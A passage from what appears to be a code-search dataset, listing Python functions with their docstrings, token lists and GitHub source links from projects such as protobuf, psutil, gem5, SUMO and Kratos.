setattr(message, field.name, _ConvertScalarFieldValue(value, field)) except ParseError as e: if field and field.containing_oneof is None: raise ParseError('Failed to parse {0} field: {1}'.format(name, e)) else: raise ParseError(str(e)) except ValueError as e: raise ParseError('Failed to parse {0} field: {1}.'.format(name, e)) except TypeError as e: raise ParseError('Failed to parse {0} field: {1}.'.format(name, e))
[ "def", "_ConvertFieldValuePair", "(", "self", ",", "js", ",", "message", ")", ":", "names", "=", "[", "]", "message_descriptor", "=", "message", ".", "DESCRIPTOR", "fields_by_json_name", "=", "dict", "(", "(", "f", ".", "json_name", ",", "f", ")", "for", "f", "in", "message_descriptor", ".", "fields", ")", "for", "name", "in", "js", ":", "try", ":", "field", "=", "fields_by_json_name", ".", "get", "(", "name", ",", "None", ")", "if", "not", "field", ":", "field", "=", "message_descriptor", ".", "fields_by_name", ".", "get", "(", "name", ",", "None", ")", "if", "not", "field", ":", "if", "self", ".", "ignore_unknown_fields", ":", "continue", "raise", "ParseError", "(", "'Message type \"{0}\" has no field named \"{1}\".'", ".", "format", "(", "message_descriptor", ".", "full_name", ",", "name", ")", ")", "if", "name", "in", "names", ":", "raise", "ParseError", "(", "'Message type \"{0}\" should not have multiple '", "'\"{1}\" fields.'", ".", "format", "(", "message", ".", "DESCRIPTOR", ".", "full_name", ",", "name", ")", ")", "names", ".", "append", "(", "name", ")", "# Check no other oneof field is parsed.", "if", "field", ".", "containing_oneof", "is", "not", "None", ":", "oneof_name", "=", "field", ".", "containing_oneof", ".", "name", "if", "oneof_name", "in", "names", ":", "raise", "ParseError", "(", "'Message type \"{0}\" should not have multiple '", "'\"{1}\" oneof fields.'", ".", "format", "(", "message", ".", "DESCRIPTOR", ".", "full_name", ",", "oneof_name", ")", ")", "names", ".", "append", "(", "oneof_name", ")", "value", "=", "js", "[", "name", "]", "if", "value", "is", "None", ":", "if", "(", "field", ".", "cpp_type", "==", "descriptor", ".", "FieldDescriptor", ".", "CPPTYPE_MESSAGE", "and", "field", ".", "message_type", ".", "full_name", "==", "'google.protobuf.Value'", ")", ":", "sub_message", "=", "getattr", "(", "message", ",", "field", ".", "name", ")", "sub_message", ".", "null_value", "=", "0", "else", ":", "message", ".", "ClearField", "(", "field", ".", "name", ")", "continue", "# Parse field value.", "if", "_IsMapEntry", "(", "field", ")", ":", "message", ".", "ClearField", "(", "field", ".", "name", ")", "self", ".", "_ConvertMapFieldValue", "(", "value", ",", "message", ",", "field", ")", "elif", "field", ".", "label", "==", "descriptor", ".", "FieldDescriptor", ".", "LABEL_REPEATED", ":", "message", ".", "ClearField", "(", "field", ".", "name", ")", "if", "not", "isinstance", "(", "value", ",", "list", ")", ":", "raise", "ParseError", "(", "'repeated field {0} must be in [] which is '", "'{1}.'", ".", "format", "(", "name", ",", "value", ")", ")", "if", "field", ".", "cpp_type", "==", "descriptor", ".", "FieldDescriptor", ".", "CPPTYPE_MESSAGE", ":", "# Repeated message field.", "for", "item", "in", "value", ":", "sub_message", "=", "getattr", "(", "message", ",", "field", ".", "name", ")", ".", "add", "(", ")", "# None is a null_value in Value.", "if", "(", "item", "is", "None", "and", "sub_message", ".", "DESCRIPTOR", ".", "full_name", "!=", "'google.protobuf.Value'", ")", ":", "raise", "ParseError", "(", "'null is not allowed to be used as an element'", "' in a repeated field.'", ")", "self", ".", "ConvertMessage", "(", "item", ",", "sub_message", ")", "else", ":", "# Repeated scalar field.", "for", "item", "in", "value", ":", "if", "item", "is", "None", ":", "raise", "ParseError", "(", "'null is not allowed to be used as an element'", "' in a repeated field.'", ")", "getattr", "(", "message", ",", "field", ".", "name", ")", ".", "append", "(", "_ConvertScalarFieldValue", "(", "item", ",", "field", ")", ")", "elif", "field", ".", "cpp_type", "==", "descriptor", ".", "FieldDescriptor", ".", "CPPTYPE_MESSAGE", ":", "sub_message", "=", "getattr", "(", "message", ",", "field", ".", "name", ")", "sub_message", ".", "SetInParent", "(", ")", "self", ".", "ConvertMessage", "(", "value", ",", "sub_message", ")", "else", ":", "setattr", "(", "message", ",", "field", ".", "name", ",", "_ConvertScalarFieldValue", "(", "value", ",", "field", ")", ")", "except", "ParseError", "as", "e", ":", "if", "field", "and", "field", ".", "containing_oneof", "is", "None", ":", "raise", "ParseError", "(", "'Failed to parse {0} field: {1}'", ".", "format", "(", "name", ",", "e", ")", ")", "else", ":", "raise", "ParseError", "(", "str", "(", "e", ")", ")", "except", "ValueError", "as", "e", ":", "raise", "ParseError", "(", "'Failed to parse {0} field: {1}.'", ".", "format", "(", "name", ",", "e", ")", ")", "except", "TypeError", "as", "e", ":", "raise", "ParseError", "(", "'Failed to parse {0} field: {1}.'", ".", "format", "(", "name", ",", "e", ")", ")" ]
https://github.com/apple/turicreate/blob/cce55aa5311300e3ce6af93cb45ba791fd1bdf49/src/external/coremltools_wrap/coremltools/deps/protobuf/python/google/protobuf/json_format.py#L417-L507
ApolloAuto/apollo-platform
86d9dc6743b496ead18d597748ebabd34a513289
ros/third_party/lib_aarch64/python2.7/dist-packages/rosdep2/rospkg_loader.py
python
RosPkgLoader.get_loadable_resources
(self)
return self._loadable_resource_cache
'Resources' map to ROS packages names.
'Resources' map to ROS packages names.
[ "Resources", "map", "to", "ROS", "packages", "names", "." ]
def get_loadable_resources(self): """ 'Resources' map to ROS packages names. """ if not self._loadable_resource_cache: self._loadable_resource_cache = list(self._rospack.list()) return self._loadable_resource_cache
[ "def", "get_loadable_resources", "(", "self", ")", ":", "if", "not", "self", ".", "_loadable_resource_cache", ":", "self", ".", "_loadable_resource_cache", "=", "list", "(", "self", ".", "_rospack", ".", "list", "(", ")", ")", "return", "self", ".", "_loadable_resource_cache" ]
https://github.com/ApolloAuto/apollo-platform/blob/86d9dc6743b496ead18d597748ebabd34a513289/ros/third_party/lib_aarch64/python2.7/dist-packages/rosdep2/rospkg_loader.py#L112-L118
turi-code/SFrame
796b9bdfb2fa1b881d82080754643c7e68629cd2
oss_src/unity/python/sframe/data_structures/sarray.py
python
SArray.__is_materialized__
(self)
return self.__proxy__.is_materialized()
Returns whether or not the sarray has been materialized.
Returns whether or not the sarray has been materialized.
[ "Returns", "whether", "or", "not", "the", "sarray", "has", "been", "materialized", "." ]
def __is_materialized__(self): """ Returns whether or not the sarray has been materialized. """ return self.__proxy__.is_materialized()
[ "def", "__is_materialized__", "(", "self", ")", ":", "return", "self", ".", "__proxy__", ".", "is_materialized", "(", ")" ]
https://github.com/turi-code/SFrame/blob/796b9bdfb2fa1b881d82080754643c7e68629cd2/oss_src/unity/python/sframe/data_structures/sarray.py#L1289-L1293
microsoft/TSS.MSR
0f2516fca2cd9929c31d5450e39301c9bde43688
TSS.Py/src/TpmTypes.py
python
TPM2_Policy_AC_SendSelect_REQUEST.toTpm
(self, buf)
TpmMarshaller method
TpmMarshaller method
[ "TpmMarshaller", "method" ]
def toTpm(self, buf): """ TpmMarshaller method """ buf.writeSizedByteBuf(self.objectName) buf.writeSizedByteBuf(self.authHandleName) buf.writeSizedByteBuf(self.acName) buf.writeByte(self.includeObject)
[ "def", "toTpm", "(", "self", ",", "buf", ")", ":", "buf", ".", "writeSizedByteBuf", "(", "self", ".", "objectName", ")", "buf", ".", "writeSizedByteBuf", "(", "self", ".", "authHandleName", ")", "buf", ".", "writeSizedByteBuf", "(", "self", ".", "acName", ")", "buf", ".", "writeByte", "(", "self", ".", "includeObject", ")" ]
https://github.com/microsoft/TSS.MSR/blob/0f2516fca2cd9929c31d5450e39301c9bde43688/TSS.Py/src/TpmTypes.py#L17514-L17519
IfcOpenShell/IfcOpenShell
2c2954b11a9c9d581bef03240836d4567e69ad0b
src/ifcopenshell-python/ifcopenshell/ids.py
python
restriction.__repr__
(self)
return msg
Represent the restriction in human readable sentence. :return: sentence :rtype: str
Represent the restriction in human readable sentence.
[ "Represent", "the", "restriction", "in", "human", "readable", "sentence", "." ]
def __repr__(self): """Represent the restriction in human readable sentence. :return: sentence :rtype: str """ msg = "of type '%s', " % (self.base) if self.type == "enumeration": msg = msg + "of value: '%s'" % "' or '".join(self.options) elif self.type == "bounds": msg = msg + "of value %s" % ", and ".join([bounds[x] + str(self.options[x]) for x in self.options]) elif self.type == "length": msg = msg + "with %s letters" % " and ".join(self.options) elif self.type == "pattern": msg = msg + "respecting the pattern '%s'" % self.options # TODO add fractionDigits # TODO add totalDigits # TODO add whiteSpace return msg
[ "def", "__repr__", "(", "self", ")", ":", "msg", "=", "\"of type '%s', \"", "%", "(", "self", ".", "base", ")", "if", "self", ".", "type", "==", "\"enumeration\"", ":", "msg", "=", "msg", "+", "\"of value: '%s'\"", "%", "\"' or '\"", ".", "join", "(", "self", ".", "options", ")", "elif", "self", ".", "type", "==", "\"bounds\"", ":", "msg", "=", "msg", "+", "\"of value %s\"", "%", "\", and \"", ".", "join", "(", "[", "bounds", "[", "x", "]", "+", "str", "(", "self", ".", "options", "[", "x", "]", ")", "for", "x", "in", "self", ".", "options", "]", ")", "elif", "self", ".", "type", "==", "\"length\"", ":", "msg", "=", "msg", "+", "\"with %s letters\"", "%", "\" and \"", ".", "join", "(", "self", ".", "options", ")", "elif", "self", ".", "type", "==", "\"pattern\"", ":", "msg", "=", "msg", "+", "\"respecting the pattern '%s'\"", "%", "self", ".", "options", "# TODO add fractionDigits", "# TODO add totalDigits", "# TODO add whiteSpace", "return", "msg" ]
https://github.com/IfcOpenShell/IfcOpenShell/blob/2c2954b11a9c9d581bef03240836d4567e69ad0b/src/ifcopenshell-python/ifcopenshell/ids.py#L1033-L1051
thalium/icebox
99d147d5b9269222225443ce171b4fd46d8985d4
third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3-cpu-generated-1-data.py
python
Bs3Cg1Instruction.getInstructionEntry
(self)
return [ ' /* cbOpcodes = */ %s, /* %s */' % (len(self.asOpcodes), ' '.join(self.asOpcodes),), ' /* cOperands = */ %s,%s' % (len(self.oInstr.aoOperands), sOperands,), ' /* cchMnemonic = */ %s, /* %s */' % (len(self.oInstr.sMnemonic), self.oInstr.sMnemonic,), ' /* fAdvanceMnemonic = */ %s,' % ('true' if self.fAdvanceMnemonic else 'false',), ' /* offTests = */ %s,' % (self.oTests.offTests,), ' /* enmEncoding = */ (unsigned)%s,' % (self.sEncoding,), ' /* uOpcodeMap = */ (unsigned)%s,' % (self.getOpcodeMap(),), ' /* enmPrefixKind = */ (unsigned)%s,' % (self.sPfxKind,), ' /* enmCpuTest = */ (unsigned)%s,' % (self.sCpu,), ' /* enmXcptType = */ (unsigned)%s,' % (self.sXcptType,), ' /* uUnused = */ 0,', ' /* fFlags = */ %s' % (' | '.join(self.asFlags) if self.asFlags else '0'), ]
Returns an array of BS3CG1INSTR member initializers.
Returns an array of BS3CG1INSTR member initializers.
[ "Returns", "an", "array", "of", "BS3CG1INSTR", "member", "initializers", "." ]
def getInstructionEntry(self): """ Returns an array of BS3CG1INSTR member initializers. """ assert len(self.oInstr.sMnemonic) < 16; sOperands = ', '.join([oOp.sType for oOp in self.oInstr.aoOperands]); if sOperands: sOperands = ' /* ' + sOperands + ' */'; return [ ' /* cbOpcodes = */ %s, /* %s */' % (len(self.asOpcodes), ' '.join(self.asOpcodes),), ' /* cOperands = */ %s,%s' % (len(self.oInstr.aoOperands), sOperands,), ' /* cchMnemonic = */ %s, /* %s */' % (len(self.oInstr.sMnemonic), self.oInstr.sMnemonic,), ' /* fAdvanceMnemonic = */ %s,' % ('true' if self.fAdvanceMnemonic else 'false',), ' /* offTests = */ %s,' % (self.oTests.offTests,), ' /* enmEncoding = */ (unsigned)%s,' % (self.sEncoding,), ' /* uOpcodeMap = */ (unsigned)%s,' % (self.getOpcodeMap(),), ' /* enmPrefixKind = */ (unsigned)%s,' % (self.sPfxKind,), ' /* enmCpuTest = */ (unsigned)%s,' % (self.sCpu,), ' /* enmXcptType = */ (unsigned)%s,' % (self.sXcptType,), ' /* uUnused = */ 0,', ' /* fFlags = */ %s' % (' | '.join(self.asFlags) if self.asFlags else '0'), ];
[ "def", "getInstructionEntry", "(", "self", ")", ":", "assert", "len", "(", "self", ".", "oInstr", ".", "sMnemonic", ")", "<", "16", "sOperands", "=", "', '", ".", "join", "(", "[", "oOp", ".", "sType", "for", "oOp", "in", "self", ".", "oInstr", ".", "aoOperands", "]", ")", "if", "sOperands", ":", "sOperands", "=", "' /* '", "+", "sOperands", "+", "' */'", "return", "[", "' /* cbOpcodes = */ %s, /* %s */'", "%", "(", "len", "(", "self", ".", "asOpcodes", ")", ",", "' '", ".", "join", "(", "self", ".", "asOpcodes", ")", ",", ")", ",", "' /* cOperands = */ %s,%s'", "%", "(", "len", "(", "self", ".", "oInstr", ".", "aoOperands", ")", ",", "sOperands", ",", ")", ",", "' /* cchMnemonic = */ %s, /* %s */'", "%", "(", "len", "(", "self", ".", "oInstr", ".", "sMnemonic", ")", ",", "self", ".", "oInstr", ".", "sMnemonic", ",", ")", ",", "' /* fAdvanceMnemonic = */ %s,'", "%", "(", "'true'", "if", "self", ".", "fAdvanceMnemonic", "else", "'false'", ",", ")", ",", "' /* offTests = */ %s,'", "%", "(", "self", ".", "oTests", ".", "offTests", ",", ")", ",", "' /* enmEncoding = */ (unsigned)%s,'", "%", "(", "self", ".", "sEncoding", ",", ")", ",", "' /* uOpcodeMap = */ (unsigned)%s,'", "%", "(", "self", ".", "getOpcodeMap", "(", ")", ",", ")", ",", "' /* enmPrefixKind = */ (unsigned)%s,'", "%", "(", "self", ".", "sPfxKind", ",", ")", ",", "' /* enmCpuTest = */ (unsigned)%s,'", "%", "(", "self", ".", "sCpu", ",", ")", ",", "' /* enmXcptType = */ (unsigned)%s,'", "%", "(", "self", ".", "sXcptType", ",", ")", ",", "' /* uUnused = */ 0,'", ",", "' /* fFlags = */ %s'", "%", "(", "' | '", ".", "join", "(", "self", ".", "asFlags", ")", "if", "self", ".", "asFlags", "else", "'0'", ")", ",", "]" ]
https://github.com/thalium/icebox/blob/99d147d5b9269222225443ce171b4fd46d8985d4/third_party/virtualbox/src/VBox/ValidationKit/bootsectors/bs3-cpu-generated-1-data.py#L384-L403
gem5/gem5
141cc37c2d4b93959d4c249b8f7e6a8b2ef75338
src/mem/slicc/parser.py
python
SLICC.p_statement__assign
(self, p)
statement : expr ASSIGN expr SEMI
statement : expr ASSIGN expr SEMI
[ "statement", ":", "expr", "ASSIGN", "expr", "SEMI" ]
def p_statement__assign(self, p): "statement : expr ASSIGN expr SEMI" p[0] = ast.AssignStatementAST(self, p[1], p[3])
[ "def", "p_statement__assign", "(", "self", ",", "p", ")", ":", "p", "[", "0", "]", "=", "ast", ".", "AssignStatementAST", "(", "self", ",", "p", "[", "1", "]", ",", "p", "[", "3", "]", ")" ]
https://github.com/gem5/gem5/blob/141cc37c2d4b93959d4c249b8f7e6a8b2ef75338/src/mem/slicc/parser.py#L600-L602
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/tools/python3/src/Lib/_pydecimal.py
python
Context.divmod
(self, a, b)
Return (a // b, a % b). >>> ExtendedContext.divmod(Decimal(8), Decimal(3)) (Decimal('2'), Decimal('2')) >>> ExtendedContext.divmod(Decimal(8), Decimal(4)) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(8, 4) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(Decimal(8), 4) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(8, Decimal(4)) (Decimal('2'), Decimal('0'))
Return (a // b, a % b).
[ "Return", "(", "a", "//", "b", "a", "%", "b", ")", "." ]
def divmod(self, a, b): """Return (a // b, a % b). >>> ExtendedContext.divmod(Decimal(8), Decimal(3)) (Decimal('2'), Decimal('2')) >>> ExtendedContext.divmod(Decimal(8), Decimal(4)) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(8, 4) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(Decimal(8), 4) (Decimal('2'), Decimal('0')) >>> ExtendedContext.divmod(8, Decimal(4)) (Decimal('2'), Decimal('0')) """ a = _convert_other(a, raiseit=True) r = a.__divmod__(b, context=self) if r is NotImplemented: raise TypeError("Unable to convert %s to Decimal" % b) else: return r
[ "def", "divmod", "(", "self", ",", "a", ",", "b", ")", ":", "a", "=", "_convert_other", "(", "a", ",", "raiseit", "=", "True", ")", "r", "=", "a", ".", "__divmod__", "(", "b", ",", "context", "=", "self", ")", "if", "r", "is", "NotImplemented", ":", "raise", "TypeError", "(", "\"Unable to convert %s to Decimal\"", "%", "b", ")", "else", ":", "return", "r" ]
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/tools/python3/src/Lib/_pydecimal.py#L4418-L4437
eclipse/sumo
7132a9b8b6eea734bdec38479026b4d8c4336d03
tools/traci/domain.py
python
Domain.getIDList
(self)
return self._getUniversal(tc.TRACI_ID_LIST, "")
getIDList() -> list(string) Returns a list of all objects in the network.
getIDList() -> list(string)
[ "getIDList", "()", "-", ">", "list", "(", "string", ")" ]
def getIDList(self): """getIDList() -> list(string) Returns a list of all objects in the network. """ return self._getUniversal(tc.TRACI_ID_LIST, "")
[ "def", "getIDList", "(", "self", ")", ":", "return", "self", ".", "_getUniversal", "(", "tc", ".", "TRACI_ID_LIST", ",", "\"\"", ")" ]
https://github.com/eclipse/sumo/blob/7132a9b8b6eea734bdec38479026b4d8c4336d03/tools/traci/domain.py#L191-L196
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
wx/lib/agw/customtreectrl.py
python
CustomTreeCtrl.IsDescendantOf
(self, parent, item)
return False
Checks if the given item is under another one in the tree hierarchy. :param `parent`: an instance of :class:`GenericTreeItem`, representing the possible parent of `item`; :param `item`: another instance of :class:`GenericTreeItem`. :return: ``True`` if `item` is a descendant of `parent`, ``False`` otherwise.
Checks if the given item is under another one in the tree hierarchy.
[ "Checks", "if", "the", "given", "item", "is", "under", "another", "one", "in", "the", "tree", "hierarchy", "." ]
def IsDescendantOf(self, parent, item): """ Checks if the given item is under another one in the tree hierarchy. :param `parent`: an instance of :class:`GenericTreeItem`, representing the possible parent of `item`; :param `item`: another instance of :class:`GenericTreeItem`. :return: ``True`` if `item` is a descendant of `parent`, ``False`` otherwise. """ while item: if item == parent: # item is a descendant of parent return True item = item.GetParent() return False
[ "def", "IsDescendantOf", "(", "self", ",", "parent", ",", "item", ")", ":", "while", "item", ":", "if", "item", "==", "parent", ":", "# item is a descendant of parent", "return", "True", "item", "=", "item", ".", "GetParent", "(", ")", "return", "False" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/wx/lib/agw/customtreectrl.py#L5200-L5220
MTG/gaia
0f7214dbdec6f9b651ca34211824841ffba0bc77
src/bindings/pygaia/utils.py
python
dictcombinations
(d)
From a dictionary of key to possible values, generate dictionaries with all possible combinations for the values.
From a dictionary of key to possible values, generate dictionaries with all possible combinations for the values.
[ "From", "a", "dictionary", "of", "key", "to", "possible", "values", "generate", "dictionaries", "with", "all", "possible", "combinations", "for", "the", "values", "." ]
def dictcombinations(d): """From a dictionary of key to possible values, generate dictionaries with all possible combinations for the values.""" keys = tuple(d.keys()) for values in combinations(list(d.values())): yield dict(zip(keys, values))
[ "def", "dictcombinations", "(", "d", ")", ":", "keys", "=", "tuple", "(", "d", ".", "keys", "(", ")", ")", "for", "values", "in", "combinations", "(", "list", "(", "d", ".", "values", "(", ")", ")", ")", ":", "yield", "dict", "(", "zip", "(", "keys", ",", "values", ")", ")" ]
https://github.com/MTG/gaia/blob/0f7214dbdec6f9b651ca34211824841ffba0bc77/src/bindings/pygaia/utils.py#L58-L62
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/python/numpy/py3/numpy/distutils/npy_pkg_config.py
python
LibraryInfo.sections
(self)
return list(self._sections.keys())
Return the section headers of the config file. Parameters ---------- None Returns ------- keys : list of str The list of section headers.
Return the section headers of the config file.
[ "Return", "the", "section", "headers", "of", "the", "config", "file", "." ]
def sections(self): """ Return the section headers of the config file. Parameters ---------- None Returns ------- keys : list of str The list of section headers. """ return list(self._sections.keys())
[ "def", "sections", "(", "self", ")", ":", "return", "list", "(", "self", ".", "_sections", ".", "keys", "(", ")", ")" ]
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/python/numpy/py3/numpy/distutils/npy_pkg_config.py#L114-L128
KratosMultiphysics/Kratos
0000833054ed0503424eb28205d6508d9ca6cbbc
applications/ContactStructuralMechanicsApplication/python_scripts/mesh_tying_process.py
python
MeshTyingProcess.__init__
(self, Model, settings)
The default constructor of the class Keyword arguments: self -- It signifies an instance of a class. Model -- the model part used to construct the process. settings -- Kratos parameters containing solver settings.
The default constructor of the class
[ "The", "default", "constructor", "of", "the", "class" ]
def __init__(self, Model, settings): """ The default constructor of the class Keyword arguments: self -- It signifies an instance of a class. Model -- the model part used to construct the process. settings -- Kratos parameters containing solver settings. """ # NOTE: Due to recursive check "search_model_part" and "assume_master_slave" requires to pre-define configurations, if more that 10 pairs of contact are required, just add. I assume nobody needs that much # Settings string in json format default_parameters = KM.Parameters(""" { "help" : "This class is used in order to compute the a mortar mesh tying formulation. This class constructs the model parts containing the mesh tying conditions and initializes parameters and variables related with the mesh tying. The class creates search utilities to be used to create the tying pairs", "mesh_id" : 0, "model_part_name" : "Structure", "mesh_tying_model_part" : {"0":[],"1":[],"2":[],"3":[],"4":[],"5":[],"6":[],"7":[],"8":[],"9":[]}, "assume_master_slave" : {"0":[],"1":[],"2":[],"3":[],"4":[],"5":[],"6":[],"7":[],"8":[],"9":[]}, "mesh_tying_property_ids" : {"0": 0,"1": 0,"2": 0,"3": 0,"4": 0,"5": 0,"6": 0,"7": 0,"8": 0,"9": 0}, "interval" : [0.0,"End"], "variable_name" : "DISPLACEMENT", "zero_tolerance_factor" : 1.0, "integration_order" : 2, "consider_tessellation" : false, "normal_check_proportion" : 0.1, "search_parameters" : { "type_search" : "in_radius_with_obb", "search_factor" : 3.5, "active_check_factor" : 0.01, "max_number_results" : 1000, "bucket_size" : 4, "dynamic_search" : false, "database_step_update" : 999999999, "debug_mode" : false, "check_gap" : "check_mapping", "octree_search_parameters" : { "bounding_box_factor" : 0.1, "debug_obb" : false, "OBB_intersection_type" : "SeparatingAxisTheorem", "lower_bounding_box_coefficient" : 0.0, "higher_bounding_box_coefficient" : 1.0 } } } """) # Overwrite the default settings with user-provided parameters self.mesh_tying_settings = settings self.mesh_tying_settings.ValidateAndAssignDefaults(default_parameters) # We transfer the parameters to the base class base_process_settings = KM.Parameters("""{}""") base_process_settings.AddValue("mesh_id", self.mesh_tying_settings["mesh_id"]) base_process_settings.AddValue("model_part_name", self.mesh_tying_settings["model_part_name"]) base_process_settings.AddValue("search_model_part", self.mesh_tying_settings["mesh_tying_model_part"]) base_process_settings.AddValue("assume_master_slave", self.mesh_tying_settings["assume_master_slave"]) base_process_settings.AddValue("search_property_ids", self.mesh_tying_settings["mesh_tying_property_ids"]) base_process_settings.AddValue("interval", self.mesh_tying_settings["interval"]) base_process_settings.AddValue("zero_tolerance_factor", self.mesh_tying_settings["zero_tolerance_factor"]) base_process_settings.AddValue("integration_order", self.mesh_tying_settings["integration_order"]) base_process_settings.AddValue("consider_tessellation", self.mesh_tying_settings["consider_tessellation"]) base_process_settings.AddValue("normal_check_proportion", self.mesh_tying_settings["normal_check_proportion"]) base_process_settings.AddValue("search_parameters", self.mesh_tying_settings["search_parameters"]) # Construct the base process. super().__init__(Model, base_process_settings) # Mesh tying configurations # Determine if the variable is components or scalar self.variable_name = self.mesh_tying_settings["variable_name"].GetString() if KM.KratosGlobals.HasVariable(self.variable_name): var_type = KM.KratosGlobals.GetVariableType(self.variable_name) if var_type == "Array": self.type_variable = "Components" elif var_type == "Double": self.type_variable = "Scalar" else: raise Exception("Variable " + self.variable_name + " not compatible") else: raise Exception("Variable " + self.variable_name + " not registered")
[ "def", "__init__", "(", "self", ",", "Model", ",", "settings", ")", ":", "# NOTE: Due to recursive check \"search_model_part\" and \"assume_master_slave\" requires to pre-define configurations, if more that 10 pairs of contact are required, just add. I assume nobody needs that much", "# Settings string in json format", "default_parameters", "=", "KM", ".", "Parameters", "(", "\"\"\"\n {\n \"help\" : \"This class is used in order to compute the a mortar mesh tying formulation. This class constructs the model parts containing the mesh tying conditions and initializes parameters and variables related with the mesh tying. The class creates search utilities to be used to create the tying pairs\",\n \"mesh_id\" : 0,\n \"model_part_name\" : \"Structure\",\n \"mesh_tying_model_part\" : {\"0\":[],\"1\":[],\"2\":[],\"3\":[],\"4\":[],\"5\":[],\"6\":[],\"7\":[],\"8\":[],\"9\":[]},\n \"assume_master_slave\" : {\"0\":[],\"1\":[],\"2\":[],\"3\":[],\"4\":[],\"5\":[],\"6\":[],\"7\":[],\"8\":[],\"9\":[]},\n \"mesh_tying_property_ids\" : {\"0\": 0,\"1\": 0,\"2\": 0,\"3\": 0,\"4\": 0,\"5\": 0,\"6\": 0,\"7\": 0,\"8\": 0,\"9\": 0},\n \"interval\" : [0.0,\"End\"],\n \"variable_name\" : \"DISPLACEMENT\",\n \"zero_tolerance_factor\" : 1.0,\n \"integration_order\" : 2,\n \"consider_tessellation\" : false,\n \"normal_check_proportion\" : 0.1,\n \"search_parameters\" : {\n \"type_search\" : \"in_radius_with_obb\",\n \"search_factor\" : 3.5,\n \"active_check_factor\" : 0.01,\n \"max_number_results\" : 1000,\n \"bucket_size\" : 4,\n \"dynamic_search\" : false,\n \"database_step_update\" : 999999999,\n \"debug_mode\" : false,\n \"check_gap\" : \"check_mapping\",\n \"octree_search_parameters\" : {\n \"bounding_box_factor\" : 0.1,\n \"debug_obb\" : false,\n \"OBB_intersection_type\" : \"SeparatingAxisTheorem\",\n \"lower_bounding_box_coefficient\" : 0.0,\n \"higher_bounding_box_coefficient\" : 1.0\n }\n }\n }\n \"\"\"", ")", "# Overwrite the default settings with user-provided parameters", "self", ".", "mesh_tying_settings", "=", "settings", "self", ".", "mesh_tying_settings", ".", "ValidateAndAssignDefaults", "(", "default_parameters", ")", "# We transfer the parameters to the base class", "base_process_settings", "=", "KM", ".", "Parameters", "(", "\"\"\"{}\"\"\"", ")", "base_process_settings", ".", "AddValue", "(", "\"mesh_id\"", ",", "self", ".", "mesh_tying_settings", "[", "\"mesh_id\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"model_part_name\"", ",", "self", ".", "mesh_tying_settings", "[", "\"model_part_name\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"search_model_part\"", ",", "self", ".", "mesh_tying_settings", "[", "\"mesh_tying_model_part\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"assume_master_slave\"", ",", "self", ".", "mesh_tying_settings", "[", "\"assume_master_slave\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"search_property_ids\"", ",", "self", ".", "mesh_tying_settings", "[", "\"mesh_tying_property_ids\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"interval\"", ",", "self", ".", "mesh_tying_settings", "[", "\"interval\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"zero_tolerance_factor\"", ",", "self", ".", "mesh_tying_settings", "[", "\"zero_tolerance_factor\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"integration_order\"", ",", "self", ".", "mesh_tying_settings", "[", "\"integration_order\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"consider_tessellation\"", ",", "self", ".", "mesh_tying_settings", "[", "\"consider_tessellation\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"normal_check_proportion\"", ",", "self", ".", "mesh_tying_settings", "[", "\"normal_check_proportion\"", "]", ")", "base_process_settings", ".", "AddValue", "(", "\"search_parameters\"", ",", "self", ".", "mesh_tying_settings", "[", "\"search_parameters\"", "]", ")", "# Construct the base process.", "super", "(", ")", ".", "__init__", "(", "Model", ",", "base_process_settings", ")", "# Mesh tying configurations", "# Determine if the variable is components or scalar", "self", ".", "variable_name", "=", "self", ".", "mesh_tying_settings", "[", "\"variable_name\"", "]", ".", "GetString", "(", ")", "if", "KM", ".", "KratosGlobals", ".", "HasVariable", "(", "self", ".", "variable_name", ")", ":", "var_type", "=", "KM", ".", "KratosGlobals", ".", "GetVariableType", "(", "self", ".", "variable_name", ")", "if", "var_type", "==", "\"Array\"", ":", "self", ".", "type_variable", "=", "\"Components\"", "elif", "var_type", "==", "\"Double\"", ":", "self", ".", "type_variable", "=", "\"Scalar\"", "else", ":", "raise", "Exception", "(", "\"Variable \"", "+", "self", ".", "variable_name", "+", "\" not compatible\"", ")", "else", ":", "raise", "Exception", "(", "\"Variable \"", "+", "self", ".", "variable_name", "+", "\" not registered\"", ")" ]
https://github.com/KratosMultiphysics/Kratos/blob/0000833054ed0503424eb28205d6508d9ca6cbbc/applications/ContactStructuralMechanicsApplication/python_scripts/mesh_tying_process.py#L27-L106
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/psutil/_psbsd.py
python
Process.oneshot
(self)
return ret
Retrieves multiple process info in one shot as a raw tuple.
Retrieves multiple process info in one shot as a raw tuple.
[ "Retrieves", "multiple", "process", "info", "in", "one", "shot", "as", "a", "raw", "tuple", "." ]
def oneshot(self): """Retrieves multiple process info in one shot as a raw tuple.""" ret = cext.proc_oneshot_info(self.pid) assert len(ret) == len(kinfo_proc_map) return ret
[ "def", "oneshot", "(", "self", ")", ":", "ret", "=", "cext", ".", "proc_oneshot_info", "(", "self", ".", "pid", ")", "assert", "len", "(", "ret", ")", "==", "len", "(", "kinfo_proc_map", ")", "return", "ret" ]
